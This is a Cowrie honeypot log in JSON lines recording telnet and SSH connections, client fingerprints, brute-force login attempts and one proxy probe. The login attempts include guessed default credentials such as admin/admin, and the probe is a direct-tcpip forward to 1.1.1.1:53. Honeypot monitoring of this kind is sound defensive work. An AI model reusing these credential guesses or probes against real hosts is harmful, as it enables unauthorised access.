{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37374,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8c3fb3e1ea","protocol":"telnet","message":"New connection: 207.244.226.215:37374 (159.203.135.109:23) [session: 0f8c3fb3e1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:30.268440Z"}
{"eventid":"cowrie.session.closed","duration":30.71210241317749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:30.431253Z","src_ip":"207.244.226.215","session":"de780577ef7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":38014,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee27eb63677","protocol":"telnet","message":"New connection: 207.244.226.215:38014 (159.203.135.109:23) [session: fee27eb63677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:30.618170Z"}
{"eventid":"cowrie.session.closed","duration":30.11014747619629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:31.083190Z","src_ip":"207.244.226.215","session":"b3db6bf65e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41618,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e445456e1b3","protocol":"telnet","message":"New connection: 207.244.226.215:41618 (159.203.135.109:23) [session: 7e445456e1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:32.913873Z"}
{"eventid":"cowrie.session.closed","duration":30.719537019729614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:34.031931Z","src_ip":"207.244.226.215","session":"654897e56cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756439924240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:36.090429Z","src_ip":"207.244.226.215","session":"ff51fd1a2c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":46286,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff2132ebb6e1","protocol":"ssh","message":"New connection: 92.205.57.72:46286 (10.17.0.5:22) [session: ff2132ebb6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:36.448941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:36.453593Z","src_ip":"92.205.57.72","session":"ff2132ebb6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:36.544876Z","src_ip":"92.205.57.72","session":"ff2132ebb6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo2018","message":"login attempt [root/odoo2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:36.936766Z","src_ip":"92.205.57.72","session":"ff2132ebb6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:38.029808Z","src_ip":"92.205.57.72","session":"ff2132ebb6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":50976,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bbd4aba7602","protocol":"telnet","message":"New connection: 207.244.226.215:50976 (159.203.135.109:23) [session: 7bbd4aba7602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:38.587743Z"}
{"eventid":"cowrie.session.closed","duration":30.674722909927368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:41.039153Z","src_ip":"207.244.226.215","session":"79b91c1aa075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55260,"dst_ip":"159.203.135.109","dst_port":23,"session":"82bbd47db72b","protocol":"telnet","message":"New connection: 207.244.226.215:55260 (159.203.135.109:23) [session: 82bbd47db72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:41.165392Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55382,"dst_ip":"159.203.135.109","dst_port":23,"session":"0374a6affb29","protocol":"telnet","message":"New connection: 207.244.226.215:55382 (159.203.135.109:23) [session: 0374a6affb29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:41.250851Z"}
{"eventid":"cowrie.session.closed","duration":30.876883506774902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:42.117043Z","src_ip":"207.244.226.215","session":"fd78d00da654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34194,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d74fe26e4d","protocol":"ssh","message":"New connection: 87.251.64.176:34194 (10.17.0.5:22) [session: a7d74fe26e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.032037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.037285Z","src_ip":"87.251.64.176","session":"a7d74fe26e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.134344Z","src_ip":"87.251.64.176","session":"a7d74fe26e4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.424598Z","src_ip":"87.251.64.176","session":"a7d74fe26e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59110,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f4c7414a2a","protocol":"telnet","message":"New connection: 207.244.226.215:59110 (159.203.135.109:23) [session: 97f4c7414a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.486053Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.523750Z","session":"a7d74fe26e4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.622383Z","src_ip":"87.251.64.176","session":"a7d74fe26e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:43.722013Z","src_ip":"87.251.64.176","session":"a7d74fe26e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.20.214.91","src_port":54682,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20a63339c7c","protocol":"telnet","message":"New connection: 94.20.214.91:54682 (10.17.0.5:23) [session: e20a63339c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:44.630904Z"}
{"eventid":"cowrie.session.closed","duration":30.90117335319519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:45.147853Z","src_ip":"207.244.226.215","session":"1ad0aa6e4655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37874,"dst_ip":"159.203.135.109","dst_port":23,"session":"37608836dce7","protocol":"telnet","message":"New connection: 207.244.226.215:37874 (159.203.135.109:23) [session: 37608836dce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:47.840338Z"}
{"eventid":"cowrie.session.closed","duration":30.485849380493164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:49.088004Z","src_ip":"207.244.226.215","session":"430f1828b17d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862528562545776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:49.202687Z","src_ip":"207.244.226.215","session":"4767d7199e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.065551042556763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:50.038664Z","src_ip":"207.244.226.215","session":"f45b2e605209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"ececd93ceb90","protocol":"telnet","message":"New connection: 207.244.226.215:44662 (159.203.135.109:23) [session: ececd93ceb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:52.233828Z"}
{"eventid":"cowrie.session.closed","duration":30.581617832183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:53.182987Z","src_ip":"207.244.226.215","session":"87d9b3048f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.341663837432861,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:56.972444Z","src_ip":"94.20.214.91","session":"e20a63339c7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033650636672974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:57.097478Z","src_ip":"207.244.226.215","session":"0b469efc6b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53906,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e7836dcb37","protocol":"telnet","message":"New connection: 207.244.226.215:53906 (159.203.135.109:23) [session: f3e7836dcb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:57.696702Z"}
{"eventid":"cowrie.session.closed","duration":31.219929933547974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:58.232801Z","src_ip":"207.244.226.215","session":"2462c4ed460c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55232,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bbf252b59ea","protocol":"telnet","message":"New connection: 207.244.226.215:55232 (159.203.135.109:23) [session: 9bbf252b59ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:58.584270Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":56598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ad094c669c","protocol":"telnet","message":"New connection: 207.244.226.215:56598 (159.203.135.109:23) [session: b3ad094c669c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:59.441010Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"37dd3299ee90","protocol":"ssh","message":"New connection: 193.32.162.145:34240 (10.17.0.5:22) [session: 37dd3299ee90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:00.370256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:00.374641Z","src_ip":"193.32.162.145","session":"37dd3299ee90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58222,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9d556339bac","protocol":"telnet","message":"New connection: 207.244.226.215:58222 (159.203.135.109:23) [session: d9d556339bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:00.409704Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:00.481886Z","src_ip":"193.32.162.145","session":"37dd3299ee90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:00.808957Z","src_ip":"193.32.162.145","session":"37dd3299ee90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.507796049118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:01.125859Z","src_ip":"207.244.226.215","session":"fee27eb63677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.405050039291382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:01.673345Z","src_ip":"207.244.226.215","session":"0f8c3fb3e1ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:01.918420Z","src_ip":"193.32.162.145","session":"37dd3299ee90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.104979276657104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:03.018748Z","src_ip":"207.244.226.215","session":"7e445456e1b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":34990,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dfbb93b68cb","protocol":"telnet","message":"New connection: 207.244.226.215:34990 (159.203.135.109:23) [session: 6dfbb93b68cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:03.573312Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44078,"dst_ip":"159.203.135.109","dst_port":23,"session":"2047a2891ede","protocol":"telnet","message":"New connection: 207.244.226.215:44078 (159.203.135.109:23) [session: 2047a2891ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:08.995901Z"}
{"eventid":"cowrie.session.closed","duration":30.42627263069153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:09.013698Z","src_ip":"207.244.226.215","session":"7bbd4aba7602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858623266220093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:12.023903Z","src_ip":"207.244.226.215","session":"82bbd47db72b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139474391937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:12.390224Z","src_ip":"207.244.226.215","session":"0374a6affb29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533485651016235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:14.019610Z","src_ip":"207.244.226.215","session":"97f4c7414a2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":56606,"dst_ip":"159.203.135.109","dst_port":23,"session":"8baab6a54e27","protocol":"telnet","message":"New connection: 207.244.226.215:56606 (159.203.135.109:23) [session: 8baab6a54e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:16.736944Z"}
{"eventid":"cowrie.session.closed","duration":30.377756357192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:18.217967Z","src_ip":"207.244.226.215","session":"37608836dce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57680,"dst_ip":"159.203.135.109","dst_port":23,"session":"77cafb4b5b19","protocol":"telnet","message":"New connection: 207.244.226.215:57680 (159.203.135.109:23) [session: 77cafb4b5b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:18.340424Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33224,"dst_ip":"159.203.135.109","dst_port":23,"session":"126015c0c743","protocol":"telnet","message":"New connection: 207.244.226.215:33224 (159.203.135.109:23) [session: 126015c0c743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:19.688673Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":60390,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f010ef5652","protocol":"telnet","message":"New connection: 207.244.226.215:60390 (159.203.135.109:23) [session: f4f010ef5652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:20.060958Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":36102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e6fb0f7116c","protocol":"telnet","message":"New connection: 207.244.226.215:36102 (159.203.135.109:23) [session: 5e6fb0f7116c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:21.594684Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37382,"dst_ip":"159.203.135.109","dst_port":23,"session":"9889052b324f","protocol":"telnet","message":"New connection: 207.244.226.215:37382 (159.203.135.109:23) [session: 9889052b324f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:22.350351Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37530,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b7508db227","protocol":"telnet","message":"New connection: 207.244.226.215:37530 (159.203.135.109:23) [session: 93b7508db227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:22.461823Z"}
{"eventid":"cowrie.session.closed","duration":30.903044939041138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:23.136763Z","src_ip":"207.244.226.215","session":"ececd93ceb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5c06817fb81","protocol":"telnet","message":"New connection: 207.244.226.215:39648 (159.203.135.109:23) [session: c5c06817fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:23.849133Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40728,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5cd708f31a1","protocol":"telnet","message":"New connection: 207.244.226.215:40728 (159.203.135.109:23) [session: e5cd708f31a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:24.572496Z"}
